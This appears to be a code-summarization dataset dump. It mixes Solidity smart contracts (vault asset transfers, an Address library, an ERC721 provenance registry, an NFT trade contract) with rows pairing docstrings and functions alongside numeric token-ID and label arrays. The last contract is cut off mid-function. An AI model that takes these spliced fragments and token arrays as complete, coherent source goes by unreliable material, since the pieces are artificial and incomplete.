import "../lib/openzeppelin/SafeERC20.sol";
import "../lib/openzeppelin/Address.sol";
import "./interfaces/IWETH.sol";
import "./interfaces/IAsset.sol";
import "./interfaces/IVault.sol";
abstract contract AssetTransfersHandler is AssetHelpers {
using SafeERC20 for IERC20;
using Address for address payable;
/**
* @dev Receives `amount` of `asset` from `sender`. If `fromInternalBalance` is true, it first withdraws as much
* as possible from Internal Balance, then transfers any remaining amount.
*
* If `asset` is ETH, `fromInternalBalance` must be false (as ETH cannot be held as internal balance), and the funds
* will be wrapped into WETH.
*
* WARNING: this function does not check that the contract caller has actually supplied any ETH - it is up to the
* caller of this function to check that this is true to prevent the Vault from using its own ETH (though the Vault
* typically doesn't hold any).
*/
function _receiveAsset(
IAsset asset,
uint256 amount,
address sender,
bool fromInternalBalance
) internal {
if (amount == 0) {
return;
}
if (_isETH(asset)) {
_require(!fromInternalBalance, Errors.INVALID_ETH_INTERNAL_BALANCE);
// The ETH amount to receive is deposited into the WETH contract, which will in turn mint WETH for
// the Vault at a 1:1 ratio.
// A check for this condition is also introduced by the compiler, but this one provides a revert reason.
// Note we're checking for the Vault's total balance, *not* ETH sent in this transaction.
_require(address(this).balance >= amount, Errors.INSUFFICIENT_ETH);
_WETH().deposit{ value: amount }();
} else {
IERC20 token = _asIERC20(asset);
if (fromInternalBalance) {
// We take as many tokens from Internal Balance as possible: any remaining amounts will be transferred.
uint256 deductedBalance = _decreaseInternalBalance(sender, token, amount, true);
// Because `deductedBalance` will be always the lesser of the current internal balance
// and the amount to decrease, it is safe to perform unchecked arithmetic.
amount -= deductedBalance;
}
if (amount > 0) {
token.safeTransferFrom(sender, address(this), amount);
}
}
}
/**
* @dev Sends `amount` of `asset` to `recipient`. If `toInternalBalance` is true, the asset is deposited as Internal
* Balance instead of being transferred.
*
* If `asset` is ETH, `toInternalBalance` must be false (as ETH cannot be held as internal balance), and the funds
* are instead sent directly after unwrapping WETH.
*/
function _sendAsset(
IAsset asset,
uint256 amount,
address payable recipient,
bool toInternalBalance
) internal {
if (amount == 0) {
return;
}
if (_isETH(asset)) {
// Sending ETH is not as involved as receiving it: the only special behavior is it cannot be
// deposited to Internal Balance.
_require(!toInternalBalance, Errors.INVALID_ETH_INTERNAL_BALANCE);
// First, the Vault withdraws deposited ETH from the WETH contract, by burning the same amount of WETH
// from the Vault. This receipt will be handled by the Vault's `receive`.
_WETH().withdraw(amount);
// Then, the withdrawn ETH is sent to the recipient.
recipient.sendValue(amount);
} else {
IERC20 token = _asIERC20(asset);
if (toInternalBalance) {
_increaseInternalBalance(recipient, token, amount);
} else {
token.safeTransfer(recipient, amount);
}
}
}
/**
* @dev Returns excess ETH back to the contract caller, assuming `amountUsed` has been spent. Reverts
* if the caller sent less ETH than `amountUsed`.
*
* Because the caller might not know exactly how much ETH a Vault action will require, they may send extra.
* Note that this excess value is returned *to the contract caller* (msg.sender). If caller and e.g. swap sender are
* not the same (because the caller is a relayer for the sender), then it is up to the caller to manage this
* returned ETH.
*/
function _handleRemainingEth(uint256 amountUsed) internal {
_require(msg.value >= amountUsed, Errors.INSUFFICIENT_ETH);
uint256 excess = msg.value - amountUsed;
if (excess > 0) {
msg.sender.sendValue(excess);
}
}
/**
* @dev Enables the Vault to receive ETH. This is required for it to be able to unwrap WETH, which sends ETH to the
* caller.
*
* Any ETH sent to the Vault outside of the WETH unwrapping mechanism would be forever locked inside the Vault, so
* we prevent that from happening. Other mechanisms used to send ETH to the Vault (such as being the recipient of an
* ETH swap, Pool exit or withdrawal, contract self-destruction, or receiving the block mining reward) will result
* in locked funds, but are not otherwise a security or soundness issue. This check only exists as an attempt to
* prevent user error.
*/
receive() external payable {
_require(msg.sender == address(_WETH()), Errors.ETH_TRANSFER);
}
// This contract uses virtual internal functions instead of inheriting from the modules that implement them (in
// this case UserBalance) in order to decouple it from the rest of the system and enable standalone testing by
// implementing these with mocks.
function _increaseInternalBalance(
address account,
IERC20 token,
uint256 amount
) internal virtual;
function _decreaseInternalBalance(
address account,
IERC20 token,
uint256 amount,
bool capped
) internal virtual returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "../../vault/interfaces/IAsset.sol";
import "../../vault/interfaces/IWETH.sol";
abstract contract AssetHelpers {
// solhint-disable-next-line var-name-mixedcase
IWETH private immutable _weth;
// Sentinel value used to indicate WETH with wrapping/unwrapping semantics. The zero address is a good choice for
// multiple reasons: it is cheap to pass as a calldata argument, it is a known invalid token and non-contract, and
// it is an address Pools cannot register as a token.
address private constant _ETH = address(0);
constructor(IWETH weth) {
_weth = weth;
}
// solhint-disable-next-line func-name-mixedcase
function _WETH() internal view returns (IWETH) {
return _weth;
}
/**
* @dev Returns true if `asset` is the sentinel value that represents ETH.
*/
function _isETH(IAsset asset) internal pure returns (bool) {
return address(asset) == _ETH;
}
/**
* @dev Translates `asset` into an equivalent IERC20 token address. If `asset` represents ETH, it will be translated
* to the WETH contract.
*/
function _translateToIERC20(IAsset asset) internal view returns (IERC20) {
return _isETH(asset) ? _WETH() : _asIERC20(asset);
}
/**
* @dev Same as `_translateToIERC20(IAsset)`, but for an entire array.
*/
function _translateToIERC20(IAsset[] memory assets) internal view returns (IERC20[] memory) {
IERC20[] memory tokens = new IERC20[](assets.length);
for (uint256 i = 0; i < assets.length; ++i) {
tokens[i] = _translateToIERC20(assets[i]);
}
return tokens;
}
/**
* @dev Interprets `asset` as an IERC20 token. This function should only be called on `asset` if `_isETH` previously
* returned false for it, that is, if `asset` is guaranteed not to be the ETH sentinel value.
*/
function _asIERC20(IAsset asset) internal pure returns (IERC20) {
return IERC20(address(asset));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
_require(address(this).balance >= amount, Errors.ADDRESS_INSUFFICIENT_BALANCE);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
_require(success, Errors.ADDRESS_CANNOT_SEND_VALUE);
}
}
| * @dev Registers tokens in a Two Token Pool. This function assumes `poolId` exists and corresponds to the Two Token specialization setting. Requirements: - `tokenX` and `tokenY` must not be the same - The tokens must be ordered: tokenX < tokenY/ Not technically true since we didn't register yet, but this is consistent with the error messages of other specialization settings. A Two Token Pool with no registered tokens is identified by having zero addresses for tokens A and B. Since tokenX < tokenY, tokenX is A and tokenY is B Note that we don't initialize the balance mapping: the default value of zero corresponds to an empty balance. | function _registerTwoTokenPoolTokens(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
) internal {
_require(tokenX != tokenY, Errors.TOKEN_ALREADY_REGISTERED);
_require(tokenX < tokenY, Errors.UNSORTED_TOKENS);
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
_require(poolTokens.tokenA == IERC20(0) && poolTokens.tokenB == IERC20(0), Errors.TOKENS_ALREADY_SET);
poolTokens.tokenA = tokenX;
poolTokens.tokenB = tokenY;
}
| 642,320 | [
1,
10277,
2430,
316,
279,
16896,
3155,
8828,
18,
1220,
445,
13041,
1375,
6011,
548,
68,
1704,
471,
13955,
358,
326,
16896,
3155,
4582,
1588,
3637,
18,
29076,
30,
300,
1375,
2316,
60,
68,
471,
1375,
2316,
61,
68,
1297,
486,
506,
326,
1967,
300,
1021,
2430,
1297,
506,
5901,
30,
1147,
60,
411,
1147,
61,
19,
2288,
17734,
6478,
638,
3241,
732,
10242,
1404,
1744,
4671,
16,
1496,
333,
353,
11071,
598,
326,
555,
2743,
434,
1308,
4582,
1588,
1947,
18,
432,
16896,
3155,
8828,
598,
1158,
4104,
2430,
353,
9283,
635,
7999,
3634,
6138,
364,
2430,
432,
471,
605,
18,
7897,
1147,
60,
411,
1147,
61,
16,
1147,
60,
353,
432,
471,
1147,
61,
353,
605,
3609,
716,
732,
2727,
1404,
4046,
326,
11013,
2874,
30,
326,
805,
460,
434,
3634,
13955,
358,
392,
1008,
11013,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
4861,
11710,
1345,
2864,
5157,
12,
203,
3639,
1731,
1578,
2845,
548,
16,
203,
3639,
467,
654,
39,
3462,
1147,
60,
16,
203,
3639,
467,
654,
39,
3462,
1147,
61,
203,
565,
262,
2713,
288,
203,
3639,
389,
6528,
12,
2316,
60,
480,
1147,
61,
16,
9372,
18,
8412,
67,
1013,
20305,
67,
27511,
2056,
1769,
203,
203,
3639,
389,
6528,
12,
2316,
60,
411,
1147,
61,
16,
9372,
18,
2124,
55,
11245,
67,
8412,
55,
1769,
203,
203,
3639,
16896,
1345,
2864,
5157,
2502,
2845,
5157,
273,
389,
15415,
1345,
2864,
5157,
63,
6011,
548,
15533,
203,
3639,
389,
6528,
12,
6011,
5157,
18,
2316,
37,
422,
467,
654,
39,
3462,
12,
20,
13,
597,
2845,
5157,
18,
2316,
38,
422,
467,
654,
39,
3462,
12,
20,
3631,
9372,
18,
8412,
55,
67,
1013,
20305,
67,
4043,
1769,
203,
203,
3639,
2845,
5157,
18,
2316,
37,
273,
1147,
60,
31,
203,
3639,
2845,
5157,
18,
2316,
38,
273,
1147,
61,
31,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
import 'openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol';
import "./Provenance.sol";
import "./ProvenanceStorage.sol";
contract GenericProvenance is Provenance, ERC721Token, ProvenanceStorage {
uint private provIdCounter;
uint private tokenIdCounter;
// Mapping from token ID to list of associated provenance IDs
mapping (uint => uint[]) internal associatedProvenanceIds;
// Mapping from provenance ID to index in associated provenance index
mapping (uint => uint) internal associatedProvenanceIndex;
constructor(string _name, string _symbol) ERC721Token(_name, _symbol) public {}
/**
* @dev Gets the amount of provenance records associated with the specified token ID.
* Reverts if
* - the specified token ID does not exist.
* @param _tokenId uint256 to query the amount of provenance records of.
* @return uint256 representing the amount of provenance records associated with the specified token ID.
*/
function numberOfProvenanceRecordsFor(uint _tokenId) public view returns (uint256) {
return associatedProvenanceIds[_tokenId].length;
}
/**
* @dev Gets the provenance ID at a given index of the provenance list of the requested token ID.
* Reverts if
* - the requested index is out-of-bounds.
* @param _tokenId uint256 owning the provenance list to be accessed.
* @param _index uint256 representing the index to be accessed of the requested provenance list.
* @return uint256 provenance ID at the given index of the provenance list associated with the given token ID.
*/
function provenanceOfTokenByIndex(
uint _tokenId,
uint _index
)
public
view
returns (uint provId)
{
require(_index < numberOfProvenanceRecordsFor(_tokenId));
return associatedProvenanceIds[_tokenId][_index];
}
/**
* @dev Function to create a new provenance record.
* Reverts if
* - the given token does not exist.
* - the sender is not the owner of the token.
* – the given input provenance IDs do not exist.
* @param _tokenId uint256 ID of the token for which to create a provenance record.
* @param _inputProvenanceIds uint256 array containing the IDs of the input data points of the
provenance record to be created.
* @param _context string containing the actual context (or URI of the context) of the
provenance record to be created.
*/
function _createProvenance(
uint _tokenId,
string _context,
uint[] _inputProvenanceIds
)
internal
returns (uint index)
{
require(exists(_tokenId));
require(ownerOf(_tokenId) == msg.sender);
_checkValidProvenanceRecords(_inputProvenanceIds);
uint provId = _getProvId();
_addAssociatedProvenance(_tokenId, provId);
return super._createProvenance(provId, _tokenId, _inputProvenanceIds, _context);
}
/**
* @dev Function to update an existing provenance record.
* Reverts if
* - the provenance record of the given provenance ID does not exist.
* - the given updated token ID does not exist.
* - the sender is not the owner of the new token ID.
* - the sender is not the owner of the old token ID.
* - the provenance records of the given input provenance IDs do not exist.
* @param _provId uint256 ID of the provenance record to change.
* @param _tokenId uint256 ID of the updated token.
* @param _inputProvenanceIds uint256 array containing the IDs of the updated input provenance records.
* @param _context string containing the updated context (or URI of the context).
*/
function _updateProvenance(
uint _provId,
uint _tokenId,
string _context,
uint[] _inputProvenanceIds
)
internal
returns (bool success)
{
require(exists(_tokenId));
require(ownerOf(_tokenId) == msg.sender);
(uint oldTokenId,,,) = getProvenance(_provId);
require(ownerOf(oldTokenId) == msg.sender);
_checkValidProvenanceRecords(_inputProvenanceIds);
if (oldTokenId != _tokenId) {
_removeAssociatedProvenance(oldTokenId, _provId);
_addAssociatedProvenance(_tokenId, _provId);
}
return super._updateProvenance(_provId, _tokenId, _inputProvenanceIds, _context);
}
/**
* @dev Function to delete an existing provenance record.
* Reverts if
* - the provenance record of the given provenance ID does not exist.
* - the sender is not the owner of the token ID of the provenance record.
* @param _provId uint256 ID of the provenance record to delete.
*/
function _deleteProvenance(
uint _provId
)
internal
returns (bool success)
{
(uint tokenId,,,) = getProvenance(_provId);
require(ownerOf(tokenId) == msg.sender);
_removeAssociatedProvenance(tokenId, _provId);
return super._deleteProvenance(_provId);
}
/**
* @dev Internal function to request a new ID for a data point.
* Reverts if the given token ID already exists.
*/
function _requestToken() internal returns (uint) {
uint tokenId = _getTokenId();
_mint(msg.sender, tokenId);
return tokenId;
}
function _getProvId() private returns (uint) {
return ++provIdCounter;
}
function _getTokenId() private returns (uint) {
return ++tokenIdCounter;
}
/**
* @dev Private function to remove the associated provenance ID of a token.
* It does so by moving the provenance ID at the last index of associated provenance IDs
* to the index of the provenance ID to be removed.
* @param _tokenId uint256 token ID of which to remove the associated provenance ID.
* @param _provId uint256 provenance ID to be removed.
*/
function _removeAssociatedProvenance(uint _tokenId, uint _provId) private {
uint keyToRemove = associatedProvenanceIndex[_provId];
uint provIdToMove = associatedProvenanceIds[_tokenId][associatedProvenanceIds[_tokenId].length - 1];
associatedProvenanceIds[_tokenId][keyToRemove] = provIdToMove;
associatedProvenanceIndex[provIdToMove] = keyToRemove;
associatedProvenanceIds[_tokenId].length--;
}
/**
* @dev Private function to add an associated provenance ID of a token.
* @param _tokenId uint256 token ID for which to add the associated provenance ID.
* @param _provId uint256 provenance ID to be added.
*/
function _addAssociatedProvenance(uint _tokenId, uint _provId) private {
// We save the index of the provenance ID in the list of associated provenance records
// for the token ID. This makes it easier to implement updates and deletes of provenance records.
associatedProvenanceIndex[_provId] = associatedProvenanceIds[_tokenId].push(_provId) - 1;
}
function _checkValidProvenanceRecords(uint[] _provenanceIds) private view {
for (uint i=0; i<_provenanceIds.length; i++) {
require(isProvenance(_provenanceIds[i]));
}
}
}
| * @dev Private function to add an associated provenance ID of a token. @param _tokenId uint256 token ID for which to add the associated provenance ID. @param _provId uint256 provenance ID to be added./ We save the index of the provenance ID in the list of associated provenance records for the token ID. This makes it easier to implement updates and deletes of provenance records. | function _addAssociatedProvenance(uint _tokenId, uint _provId) private {
associatedProvenanceIndex[_provId] = associatedProvenanceIds[_tokenId].push(_provId) - 1;
}
| 2,561,427 | [
1,
6014,
445,
358,
527,
392,
3627,
24185,
1599,
434,
279,
1147,
18,
225,
389,
2316,
548,
2254,
5034,
1147,
1599,
364,
1492,
358,
527,
326,
3627,
24185,
1599,
18,
225,
389,
25529,
548,
2254,
5034,
24185,
1599,
358,
506,
3096,
18,
19,
1660,
1923,
326,
770,
434,
326,
24185,
1599,
316,
326,
666,
434,
3627,
24185,
3853,
364,
326,
1147,
1599,
18,
1220,
7297,
518,
15857,
358,
2348,
4533,
471,
9792,
434,
24185,
3853,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
1289,
19233,
626,
15856,
12,
11890,
389,
2316,
548,
16,
2254,
389,
25529,
548,
13,
3238,
288,
203,
3639,
3627,
626,
15856,
1016,
63,
67,
25529,
548,
65,
273,
3627,
626,
15856,
2673,
63,
67,
2316,
548,
8009,
6206,
24899,
25529,
548,
13,
300,
404,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./utils/Validation.sol";
import "./interface/IOpenmetaController.sol";
import "./libraries/TransferHelper.sol";
abstract contract TradeModel is EIP712{
bytes32 public constant MAKER_ORDER_TYPEHASH = keccak256(
"MakerOrder(bytes32 nftTokenHash,address maker,uint256 price,uint256 quantity,address paymentToken,uint256 authorProtocolFee,uint8 saleType,uint256 startTime,uint256 endTime,uint256 createTime,uint256 cancelTime)"
);
bytes32 public constant TAKER_ORDER_TYPEHASH = keccak256(
"TakerOrder(bytes32 makerOrderHash,address taker,address author,uint256 dealAmount,uint256 rewardAmount,uint256 salt,bool minted,uint256 deadline,uint256 createTime)"
);
bytes32 public constant DEAL_ORDER_TYPEHASH = keccak256(
"DealOrder(bytes32 makerOrderHash,address taker,address author,uint256 dealAmount,uint256 rewardAmount,uint256 salt,bool minted,uint256 deadline,uint256 createTime,bytes takerSig)"
);
enum TokenType{ TYPE_BASE, TYPE_ERC721, TYPE_ERC1155 } /// Unused type: TYPE_BASE
enum SaleType{ TYPE_BASE, TYPE_MARKET, TYPE_AUCTION } // Unused type: TYPE_BASE, TYPE_MARKET
struct NftInfo {
address nftToken; // The NFT contract address of the transaction
uint256 tokenId; // The tokenid of the NFT contract address
TokenType tokenType; // Order nft token type: ERC721 or ERC1155
uint256 chainId;
uint256 salt;
}
struct MakerOrder {
bytes32 nftTokenHash; // Struct NftInfo hash
address maker; // Maker's address for the order
uint256 price; // The price of the order
uint256 quantity; // Quantity of the order NFT sold
address paymentToken; // Token address for payment
uint256 authorProtocolFee; // Copyright fees for NFT authors
SaleType saleType; // Order trade type: Market or Auction
uint256 startTime; // Sales start time
uint256 endTime; // Sales end time
uint256 createTime;
uint256 cancelTime;
bytes signature;
}
struct DealOrder {
bytes32 makerOrderHash; // Maker order hash
address taker; // Taker's address for the order
address author; // NFT author address
uint256 dealAmount; // The final transaction amount of the order
uint256 rewardAmount; // Reward amount returned by holding coins
uint256 salt;
bool minted; // Whether the NFT has been minted
uint256 deadline; // Deal order deadline
uint256 createTime;
bytes takerSig; // Taker's address signature
bytes signature; // Operator address signature
}
function getOrderHashBySig (
NftInfo memory _nftInfo,
MakerOrder memory _makerOrder,
DealOrder memory _dealOrder,
IOpenmetaController _controller
) internal view returns(bytes32 dealOrderHash) {
bytes32 makerOrderHash = _makerOrderSig(_nftInfo, _makerOrder);
require(makerOrderHash == _dealOrder.makerOrderHash, "maker order hash does not match");
_takerOrderSig(_dealOrder);
dealOrderHash = _dealOrderSig(_dealOrder, _controller);
}
function _makerOrderSig(NftInfo memory _nftInfo, MakerOrder memory _order) private view returns(bytes32 makerOrderHash) {
bytes32 nftTokenHash = keccak256(abi.encodePacked(
_nftInfo.nftToken,
_nftInfo.tokenId,
_nftInfo.tokenType,
block.chainid,
_nftInfo.salt
));
require(nftTokenHash == _order.nftTokenHash, "Failed to verify nft token hash");
makerOrderHash = _hashTypedDataV4(keccak256(abi.encode(
MAKER_ORDER_TYPEHASH,
nftTokenHash,
_order.maker,
_order.price,
_order.quantity,
_order.paymentToken,
_order.authorProtocolFee,
_order.saleType,
_order.startTime,
_order.endTime,
_order.createTime,
_order.cancelTime
)));
address signer = ECDSA.recover(makerOrderHash, _order.signature);
require(signer == _order.maker, "Failed to verify maker signature");
}
function _takerOrderSig(DealOrder memory _order) private view {
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
TAKER_ORDER_TYPEHASH,
_order.makerOrderHash,
_order.taker,
_order.author,
_order.dealAmount,
_order.rewardAmount,
_order.salt,
_order.minted,
_order.deadline,
_order.createTime
)));
address signer = ECDSA.recover(digest, _order.takerSig);
require(signer == _order.taker, "Failed to verify taker signature");
}
function _dealOrderSig(
DealOrder memory _order,
IOpenmetaController _controller
) private view returns(bytes32 dealOrderHash) {
dealOrderHash = _hashTypedDataV4(keccak256(abi.encode(
DEAL_ORDER_TYPEHASH,
_order.makerOrderHash,
_order.taker,
_order.author,
_order.dealAmount,
_order.rewardAmount,
_order.salt,
_order.minted,
_order.deadline,
_order.createTime,
keccak256(_order.takerSig)
)));
address signer = ECDSA.recover(dealOrderHash, _order.signature);
require(
_controller.isSigAddress(signer),
"Failed to verify singer signature"
);
}
}
contract OpenmetaTrade is Validation, TradeModel {
IOpenmetaController public controller;
address public feeRewardToken;
mapping (address => uint256) public feeReturns;
mapping (bytes32 => bool) public dealOrders;
modifier checkOrderCaller( MakerOrder memory _makerOrder, DealOrder memory _dealOrder) {
if (_makerOrder.saleType == SaleType.TYPE_AUCTION) {
require(controller.isSigAddress(msg.sender), "caller is not the signer");
} else {
require(msg.sender == _dealOrder.taker, "caller is not the taker");
}
_;
}
event PerformOrder(
bytes32 indexed makerOrderHash,
bytes32 indexed dealOrderHash,
SaleType saleType,
address maker,
address taker,
uint256 dealAmount,
uint256 totalFee,
bool orderRes
);
event Claim(address indexed user, uint256 amount);
constructor(address _controller, address _rewardToken) EIP712("Openmeta NFT Trade", "2.0.0") {
controller = IOpenmetaController(_controller);
feeRewardToken = _rewardToken;
}
function performOrder(NftInfo memory _nftInfo, MakerOrder memory _makerOrder, DealOrder memory _dealOrder)
external
payable
checkOrderCaller(_makerOrder, _dealOrder)
checkDeadline(_dealOrder.deadline)
returns(bytes32 dealOrderHash, uint256 totalFee)
{
require(
controller.isSupportPayment(_makerOrder.paymentToken),
"not support payment token"
);
uint256 dealAmount = _makerOrder.price * _makerOrder.quantity;
require(_dealOrder.dealAmount >= dealAmount, "order deal amount verification failed");
dealOrderHash = getOrderHashBySig(_nftInfo, _makerOrder, _dealOrder, controller);
require(!dealOrders[dealOrderHash], "deal order has been completed");
/// When the order type is auction, check whether the conditions are met.
/// If not, the transfer will not be processed and the event flag will be false
bool processRes = true;
bool isOriginToken = controller.isOriginToken(_makerOrder.paymentToken);
if (_makerOrder.saleType == SaleType.TYPE_AUCTION) {
require(!isOriginToken, "auctions do not support chain-based coins");
(uint256 nftBalance, uint256 amountBalance) = getOrderUserBalance(_nftInfo, _makerOrder, _dealOrder.taker, isOriginToken);
if ((_dealOrder.minted && nftBalance < _makerOrder.quantity) || amountBalance < _dealOrder.dealAmount) {
processRes = false;
}
}
/// If the conditions are met, initiate a transfer to complete the order transaction
if (processRes) {
totalFee = _transferForTakeFee(_nftInfo, _makerOrder, _dealOrder, isOriginToken);
}
dealOrders[dealOrderHash] = true;
emit PerformOrder(
_dealOrder.makerOrderHash,
dealOrderHash,
_makerOrder.saleType,
_makerOrder.maker,
_dealOrder.taker,
_dealOrder.dealAmount,
totalFee,
processRes
);
}
/// ### Transaction fee refund ###
/// Takers can get transaction fee rebates by holding MDX Token
function claim() external {
uint256 amount = feeReturns[msg.sender];
require(amount > 0, "insufficient reward");
uint256 balance = IERC20(feeRewardToken).balanceOf(address(this));
require(balance >= amount, "insufficient balance");
feeReturns[msg.sender] = feeReturns[msg.sender] - amount;
TransferHelper.safeTransfer(feeRewardToken, msg.sender, amount);
emit Claim(msg.sender, amount);
}
function setController(address _controller) external {
require(_controller != address(0), "zero address");
require(msg.sender == address(controller), "the caller is not the controller");
controller = IOpenmetaController(_controller);
}
function getOrderUserBalance(
NftInfo memory _nftInfo,
MakerOrder memory _makerOrder,
address _taker,
bool _originToken
) public view returns(uint256 nftBalance, uint256 amountBalance) {
if (_nftInfo.tokenType == TokenType.TYPE_ERC721) {
if (IERC721(_nftInfo.nftToken).ownerOf(_nftInfo.tokenId) == _makerOrder.maker) {
nftBalance = 1;
}
}
if (_nftInfo.tokenType == TokenType.TYPE_ERC1155) {
